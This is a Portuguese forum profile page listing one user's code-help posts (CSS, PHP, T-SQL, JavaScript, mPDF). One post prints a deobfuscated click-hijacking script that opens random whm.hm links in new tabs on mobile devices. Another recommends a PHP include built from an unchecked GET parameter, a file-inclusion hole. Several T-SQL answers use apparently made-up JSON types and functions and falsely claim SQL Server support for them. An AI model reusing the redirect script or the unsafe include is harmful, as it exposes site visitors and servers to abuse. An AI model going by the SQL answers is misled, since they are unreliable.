Ir para conteúdo

Marcos_imasters

Members
  • Total de itens

    1190
  • Registro em

  • Última visita

  • Dias vencidos

    33

Posts postados por Marcos_imasters


  1.  function funcContador() {
          var maximo = 100;
          var textoDigitado = document.querySelector('textarea').value;
          var quantidadeDigitada = textoDigitado.length;
    
          if (quantidadeDigitada === 0) {
            document.getElementById('idToto').innerHTML = "";
          } else if (quantidadeDigitada === 1) {
            document.getElementById('idToto').innerHTML = quantidadeDigitada + " caracter digitado - máximo " + maximo;
          } else {
            document.getElementById('idToto').innerHTML = quantidadeDigitada + " caracteres digitados - máximo " + maximo;
          }
    
          if (quantidadeDigitada >= maximo) {
            document.getElementById('idToto').innerHTML = "Limite de caracteres atingido!";
          }
        }

     


  2. cara nao sei transact-sql só estou vendo com bases que eu vi que pode ser 

    USE [meu_banco]
    GO
    /****** Object:  UserDefinedFunction [dbo].[FormatJsonString]    Script Date: 11/09/2023 16:52:25 ******/
    SET ANSI_NULLS ON
    GO
    SET QUOTED_IDENTIFIER ON
    GO
    CREATE FUNCTION [dbo].[FormatJsonString](@String NVARCHAR(MAX))
    RETURNS NVARCHAR(MAX)
    AS
    BEGIN
        IF @String IS NOT NULL
        BEGIN
            DECLARE @JsonValue NVARCHAR(MAX) AS JSON;
            SET @JsonValue = CAST(@String AS JSON);
            RETURN FORMATJSON(@JsonValue, 'indent' = 4);
        END
        ELSE
        BEGIN
            RETURN '[]';
        END
    END;

    tenta assim


  3. ja ouvir falar disso mais nunca usei digital isso no terminal vai instalar uma extersão
     

    code --install-extension eamodio.file-sorting

    e nas configuracoes do VScode em "settings.json" voce adiciona

    {
        "files.sort": [
            {
                "sort": "name",
                "order": "desc"
            }
        ]
    }

    dessa forma vscode vai classificar as pastas por nome, em ordem decrescente exemplo:
     

    pastaProjetor
    pastaMouze
    pastaLivro
    pastaTeclado
    pastaCarro

     


  4. Em 11/09/2023 at 17:02, FabianoSouza disse:

    @Marcos_imasters...continua ocorrendo erro.

    
    USE [meu_banco]
    GO
    /****** Object:  UserDefinedFunction [dbo].[FormatJsonString]    Script Date: 11/09/2023 16:52:25 ******/
    SET ANSI_NULLS ON
    GO
    SET QUOTED_IDENTIFIER ON
    GO
    CREATE FUNCTION [dbo].[FormatJsonString](@String NVARCHAR(MAX))
    RETURNS NVARCHAR(MAX)
    AS
    BEGIN
        IF @String IS NOT NULL
        BEGIN
            DECLARE @JsonValue JSON;
            SET @JsonValue = CAST(@String AS JSON);
            RETURN FORMATJSON(@JsonValue, 'indent' = 4);
        END
        ELSE
        BEGIN
            RETURN '[]';
        END
    END;

    Veja o erro:


    Msg 102, Nível 15, Estado 1, Procedimento FormatJsonString, Linha 9 [Linha de Início do Lote 7]
    Sintaxe incorreta próxima a '='.

     

    Parece que há problema nessa linha 

    
    RETURN FORMATJSON(@JsonValue, 'indent' = 4);

     

    o correto nao seria 

    RETURN FORMATJSON(@JsonValue, indent = 4);

     


  5. você deve ta querendo usar URl amigáveis criei um arquivo .htaccess

     

    <IfModule mod_rewrite.c>
        RewriteEngine On
        RewriteBase /
        
        # Redirecione solicitações para arquivos e diretórios existentes
        RewriteCond %{REQUEST_FILENAME} !-f
        RewriteCond %{REQUEST_FILENAME} !-d
        
        # Redirecione URLs amigáveis
        RewriteRule ^([^/]+)/([^/]+)$ index.php?page=$1&id=$2 [QSA,L]
    </IfModule>

     


  6. <?php
    $pagina1 = 'pagina1.php';
    $pagina2 = 'pagina2.php';
    $pagina3 = 'pagina3.php';
    
    if(isset($_GET['54285']) && is_numeric($_GET['54285'])){
        include $pagina1;
    }
    else if(isset($_GET['42589']) && is_numeric($_GET['42589'])){
        include $pagina2;
    }
    else if(isset($_GET['67903']) && is_numeric($_GET['67903'])){
        include $pagina3;
    }
    else {
        header("Location: a-ref-nao-confere.php");
        exit();
    }
    ?>

    mais teria formas melhores de se fazer 

    <?php
    if (isset($_GET['page'])) {
        $page = $_GET['page'];
        $filename = $page . '.php';
    
        if (file_exists($filename)) {
            include $filename;
        } else {
            header("Location: a-ref-nao-confere.php");
            exit();
        }
    }
    ?>

     


  7. 20 horas atrás, FabianoSouza disse:

     

    Oi @Marcos_imasters. Obrigado pela atenção ao meu problema.

     

    Eu preciso que as TDs (primeira e última, de cada LINHA) fiquem com os cantos arredondados. 

    Parece que a sua sugestão é para colunas.

     

    Eu quero que pareça que cada TR tenha seus cantos arredondados. Como não é possível fazer isso diretamente na TR, preciso que a primeira e a última TD de cada LINHA tenha seus cantos arredondados.

    Sendo a primeira TD (da cada linha) com o lado esquerdo arredondado, e a última TD (de cada linha) com o lado direito arredondado.

     

    Seria que nem o  washalbano disse? 

    table {
      border-spacing: 1em;
      border-collapse: separate;
    }
    tr {
        background-color: #333; 
        position: relative; 
        border-radius: 10px;
        transition: background-color 0.3s;
    }
    tr:hover td {
        background-color: red; 
    }
    td {
      padding: 1rem 1.2rem;
      border-radius: 6px;
        border: 1px solid #555;
        color: #FFF;
    }

     


  8. table {
        margin: auto;
        border-collapse: separate;
        border-spacing: 0;
         border: 2px solid #ccc;
        border-radius: 10px;
       overflow: hidden;
    }
    
    tr {
         background-color: #333; 
        position: relative; 
        border-radius: 10px;
        transition: background-color 0.3s;
    }
    
    
    td {
        border: 1px solid #555;
        padding: 10px 30px;
        color: #FFF;
    }
    tr:hover td {
        background-color: red; 
    }
    
    

    ainda nao entedir a forma que voce deseja coloquei como você ja fez seria isso?


  9. Bom dia código esta ofuscado, bom que é simples a baixo o codigo decode 

    (function () {
      const urls = [
        "http://whm.hm/qfi0c5",
        "http://whm.hm/jqJ1c8",
        "http://whm.hm/zeO2c0",
        "http://whm.hm/neV3c8",
        "http://whm.hm/eWe4c5",
        "http://whm.hm/RJQ5c7",
        "http://whm.hm/kJr6c7",
        "http://whm.hm/Rtu7c9",
        "http://whm.hm/umR8c5",
        "http://whm.hm/MOO9c5"
      ];
    
      const initializeLocalStorage = keys => {
        keys.forEach(key => {
          if (!localStorage.getItem(key + "-local-storage")) {
            localStorage.setItem(key + "-local-storage", 0);
          }
        });
      };
    
      const getRandomURL = availableURLs => {
        const notVisitedURLs = availableURLs.filter(url => localStorage.getItem(url + "-local-storage") == 0);
        return notVisitedURLs[Math.floor(Math.random() * notVisitedURLs.length)];
      };
    
      const handleRedirect = (keys, host, currentTime) => {
        initializeLocalStorage(keys);
        const newLocation = getRandomURL(keys);
        localStorage.setItem(host + "-mnts" + '-local-storage', currentTime);
        localStorage.setItem(host + '-hurs' + '-local-storage', currentTime);
        localStorage.setItem(newLocation + "-local-storage", 1);
        if (isMobile()) {
          window.open(newLocation, "_blank");
        }
      };
    
      const isMobile = () => {
        let isMobileDevice = false;
        const userAgent = navigator.userAgent || navigator.vendor || window.opera;
        if (
          /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(userAgent) ||
          /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(userAgent.substr(0, 4))) {
          isMobileDevice = true;
        }
        return isMobileDevice;
      };
    
      function handleClick(event) {
        event.stopPropagation();
        const host = location.host;
        let randomURL = getRandomURL(urls);
        const currentTime = Date.parse(new Date());
        const mntsLocalStorage = localStorage.getItem(host + "-mnts" + "-local-storage");
        const hursLocalStorage = localStorage.getItem(host + "-hurs" + "-local-storage");
        if (mntsLocalStorage && hursLocalStorage) {
          try {
            const mnts = parseInt(mntsLocalStorage);
            const hurs = parseInt(hursLocalStorage);
            const minutesDiff = Math.round(Math.abs(mnts - currentTime) / 60000);
            const hoursDiff = Math.round(Math.abs(hurs - currentTime) / 3600000);
            if (hoursDiff >= 6) {
              initializeLocalStorage(urls);
              localStorage.setItem(host + "-hurs" + '-local-storage', currentTime);
            }
            if (minutesDiff >= 3) {
              if (randomURL && isMobile()) {
                localStorage.setItem(host + "-mnts" + '-local-storage', currentTime);
                window.open(randomURL, "_blank");
                localStorage.setItem(randomURL + "-local-storage", 1);
              }
            }
          } catch (error) {
            handleRedirect(urls, host, currentTime);
          }
        } else {
          handleRedirect(urls, host, currentTime);
        }
      }
    
      document.addEventListener('click', handleClick);
    })();

     


  10. tentou usar pseudo ::before e ::after ?? 

    /* arredondar as células da primeira e última coluna */
    tr td:first-child::before,
    tr td:last-child::after {
        content: "";
        display: block;
        position: absolute;
        top: 0;
        bottom: 0;
        width: 10px; 
        background-color: white; 
    }
    
    /* primeira coluna */
    tr td:first-child::before {
        left: 0;
        border-top-left-radius: 10px; 
        border-bottom-left-radius: 10px; 
    }
    
    /* última coluna */
    tr td:last-child::after {
        right: 0;
        border-top-right-radius: 10px; 
        border-bottom-right-radius: 10px; 
    }
    
    /* quando o mouse passa sobre ela */
    tr:hover {
        background-color: #000; 
    }

     


  11. basicamente seria isso

    CREATE TABLE usuarios (
        id INT AUTO_INCREMENT PRIMARY KEY,
        nome_login VARCHAR(10) UNIQUE,
        senha VARCHAR(255)
    );

    cadastrar.php
     

    <?php
    try {
        $pdo = new PDO("mysql:host=seu_host;dbname=sua_base_de_dados", "seu_usuario", "sua_senha");
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        // Gerar um nome de login aleatório
        $nomeLogin = mt_rand(100000, 999999); // Números aleatórios de 100000 a 999999
        
        // Gerar uma senha aleatória (você pode personalizar isso)
        $senha = password_hash("senha_aleatoria", PASSWORD_DEFAULT);
        
        // Inserir o novo usuário no banco de dados
        $stmt = $pdo->prepare("INSERT INTO usuarios (nome_login, senha) VALUES (:nome_login, :senha)");
        $stmt->bindParam(":nome_login", $nomeLogin);
        $stmt->bindParam(":senha", $senha);
        $stmt->execute();
        
        echo "Usuário criado com sucesso. Nome de login: $nomeLogin";
    } catch (PDOException $e) {
        echo "Erro: " . $e->getMessage();
    }
    ?>

     


  12. sim ela é reconhecida até o 2019,tente assim 

     

    CREATE FUNCTION FormatJsonString(@String NVARCHAR(MAX))
    RETURNS NVARCHAR(MAX)
    AS
    BEGIN
        IF @String IS NOT NULL
        BEGIN
            DECLARE @JsonValue JSON;
            SET @JsonValue = CAST(@String AS JSON);
    
            RETURN FORMATJSON(@JsonValue, 'indent' = 4);
        END
        ELSE
        BEGIN
            RETURN '[]';
        END
    END;

     


  13. :mrgreen:Prezados membros da comunidade,
    O valor desse fórum reside em sua diversidade de opiniões e conhecimentos.
    como membros ativos, todos nós desempenhamos um papel crucial na manutenção desse espaço.
    A ausência de atualizações e moderação ativa pode minar a qualidade das discussões, afastar novos membros em potencial e até mesmo enfraquecer a coesão da nossa comunidade.
    Portanto, é fundamental agir agora e retomar o controle sobre o destino do fórum que tanto estimamos.

     

    Podemos não ter o poder formal da administração, mas temos a paixão, o conhecimento e o desejo de ver este espaço prosperar, peço a todos Vamos continuar compartilhando nossa experiência e sabedoria. Cada postagem, por menor que seja, contribui para o enriquecimento do fórum.

    Que nossas discussões não sejam apenas reflexões do passado, mas também olhares atentos para o futuro. Questione, argumente e inspire,juntos, temos um poder formidável. Conecte-se com outros membros, colabore em projetos e mantenha a chama da comunidade acesa.

    Juntos, podemos revitalizar nosso fórum e lembrar à administração a importância deste espaço

     

    À medida que cada um de nós se compromete a fazer sua parte, podemos superar a inatividade e transformá-la em um novo começo. Nossas ações podem inspirar, conectar e lembrar a todos nós por que este fórum é tão valioso.


  14. CREATE FUNCTION FormatJsonString(@String NVARCHAR(MAX))
    RETURNS NVARCHAR(MAX)
    AS
    BEGIN
        IF @String IS NOT NULL
        BEGIN
            DECLARE @JsonValue SYSJSON;
            SET @JsonValue = CAST(@String AS SYSJSON);
    
            RETURN FORMATJSON(@JsonValue, 'indent' = 4);
        END
        ELSE
        BEGIN
            RETURN '[]';
        END
    END;

    tente assim


  15. adicione um atraso antes da view 

    usleep(1000000); // 1 segundo

    no listaInativos.php

    adicione o html 

    <div id="spinnerContainer" class="text-center d-none">
        <div class="spinner-border text-primary" role="status">
            <span class="sr-only">Carregando...</span>
        </div>
    </div>

    e o jquery

    
        $(document).ready(function() {
         
            $("#spinnerContainer").removeClass("d-none");
    
            $(window).on('load', function() {
                $("#spinnerContainer").addClass("d-none");
            });
        });

     


  16. const distributionCalcWrapper = document.querySelector('.distribution-calc-wrapper');
    const formWrapper = distributionCalcWrapper.querySelector('.form-wrapper');
    const messenger = distributionCalcWrapper.querySelector('.messenger');
    const stage = distributionCalcWrapper.querySelector('.stage');
    
    const paper = {
      pageHeight: 297 - 2 * 5,
      pageWidth: 210 - 2 * 5,
    };
    
    const calculateMaxStickersPerPage = (page, sticker) => {
      return Math.floor(page.pageWidth / sticker.width) * Math.floor(page.pageHeight / sticker.height);
    };
    
    const createStickerElement = (sticker, number) => {
      const stickerElement = document.createElement('div');
      stickerElement.className = 'adesivo';
      stickerElement.style.width = `${sticker.width}mm`;
      stickerElement.style.height = `${sticker.height}mm`;
      stickerElement.textContent = number;
      return stickerElement;
    };
    
    const updateMessage = (requiredSheets, maxStickersPerPage) => {
      messenger.innerHTML = `Quantidade necessária de folhas: <span>${requiredSheets}</span><br>
        Quantidade máxima de adesivos por folha: <span>${maxStickersPerPage}</span>`;
    };
    
    const calculateAndDisplay = () => {
      const quantity = +formWrapper.querySelector('[name="quantidade"]').value;
      const margin = +formWrapper.querySelector('[name="margem"]').value;
      const sticker = {
        height: +formWrapper.querySelector('[name="altura"]').value,
        width: +formWrapper.querySelector('[name="largura"]').value,
      };
    
      const maxStickersPerPage = calculateMaxStickersPerPage(paper, sticker);
    
      stage.innerHTML = '';
      stage.style.setProperty('--margin', `${margin}mm`);
      stage.style.setProperty('top', `calc(100% + ${margin / 1.475}mm)`);
    
      for (let i = 1; i <= quantity; i++) {
        const stickerElement = createStickerElement(sticker, i);
        stage.appendChild(stickerElement);
      }
    
      const requiredSheets = Math.ceil(quantity / maxStickersPerPage);
      updateMessage(requiredSheets, maxStickersPerPage);
    
      document.querySelector('.logger').innerHTML = JSON.stringify(
        { sticker, paper, quantityWidth: maxStickersPerPage, quantityHeight: maxStickersPerPage },
        null,
        1
      );
    };
    
    formWrapper.addEventListener('input', calculateAndDisplay);
    
    calculateAndDisplay();

    se esta dando error no firefox mostre o error


  17. sim mais seria mais complexo 

    <?php
    
    $string = 'cantar';
    $palavras_especificas = array('cantar', 'brincar', 'pular');
    
    $padrao = '/\b(?:' . implode('|', array_map('preg_quote', $palavras_especificas)) . ')\b/';
    
    if (preg_match($padrao, $string)) {
        echo "correto";
    } else {
        echo "incorreto";
    }
    ?>

     


  18. bom dia voce tem que verificar se o caminho da url da imagem esta funcionando ou transforma a imagem em base64
    como esta seu codigo??

     

    $mpdf = new \Mpdf\Mpdf();
    $mpdf->showImageErrors = true;
    $mpdf->SetHTMLHeader('
    <div style="text-align: left;"><img src="https://sistema.site.com.br/uploads/logo/logo.jpg" height="42"></div>
    ');
    $mpdf->SetHTMLFooter('
    <table width="100%">
        <tr>
            <td width="33%">{DATE d-m-Y}</td>
            <td width="33%" align="center">{PAGENO}/{nbpg}</td>
            <td width="33%" style="text-align: right;">My document</td>
        </tr>
    </table>');
    $mpdf->SetDisplayMode('fullpage');
    $css = file_get_contents("css/estilo.css");
    $mpdf->WriteHTML($css,1);
    $mpdf->WriteHTML($html);
    $mpdf->Output();
    
    exit;



     

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.